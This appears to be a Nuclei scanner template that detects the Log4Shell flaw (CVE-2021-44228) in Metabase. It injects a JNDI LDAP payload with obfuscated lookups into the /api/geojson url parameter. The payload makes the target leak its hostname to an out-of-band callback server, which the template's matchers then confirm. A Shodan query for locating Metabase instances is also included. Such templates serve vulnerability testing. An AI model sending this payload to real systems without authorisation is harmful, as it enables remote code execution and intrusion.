66 lines
2.1 KiB
YAML
66 lines
2.1 KiB
YAML
id: metabase-log4j
|
|
|
|
info:
|
|
name: Metabase - Remote Code Execution (Apache Log4j)
|
|
author: DhiyaneshDK
|
|
severity: critical
|
|
description: Metabase is susceptible to remote code execution due to an incomplete patch in Apache Log4j 2.15.0 in certain non-default configurations. A remote attacker can pass malicious data and perform a denial of service attack, exfiltrate data, or execute arbitrary code.
|
|
reference:
|
|
- https://www.cybersecurity-help.cz/vdb/SB2021121706
|
|
- https://logging.apache.org/log4j/2.x/security.html
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
|
|
cvss-score: 10
|
|
cve-id: CVE-2021-44228
|
|
cwe-id: CWE-77
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
shodan-query: title:"Metabase"
|
|
tags: cve,cve2021,rce,jndi,log4j,metabase,kev,oast
|
|
variables:
|
|
rand1: '{{rand_int(111, 999)}}'
|
|
rand2: '{{rand_int(111, 999)}}'
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/api/geojson?url=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.url.{{interactsh-url}}}"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- 'Invalid GeoJSON file location:'
|
|
|
|
- type: word
|
|
part: interactsh_protocol # Confirms the DNS Interaction
|
|
words:
|
|
- "dns"
|
|
|
|
- type: regex
|
|
part: interactsh_request
|
|
regex:
|
|
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
|
|
|
|
extractors:
|
|
- type: kval
|
|
kval:
|
|
- interactsh_ip
|
|
|
|
- type: regex
|
|
part: interactsh_request
|
|
group: 2
|
|
regex:
|
|
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
|
|
|
|
- type: regex
|
|
part: interactsh_request
|
|
group: 1
|
|
regex:
|
|
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
|
|
|
|
# digest: 4b0a0048304602210099de73a04dbadbd8b01b1a9af13a552d3495d036cca33e121699bf997f91b5d9022100bf32917f27b9e7ca243dbc74c453263ea677202e3df3b78e5afbf48d0ba5d481:922c64590222798bb761d5b6d8e72950
|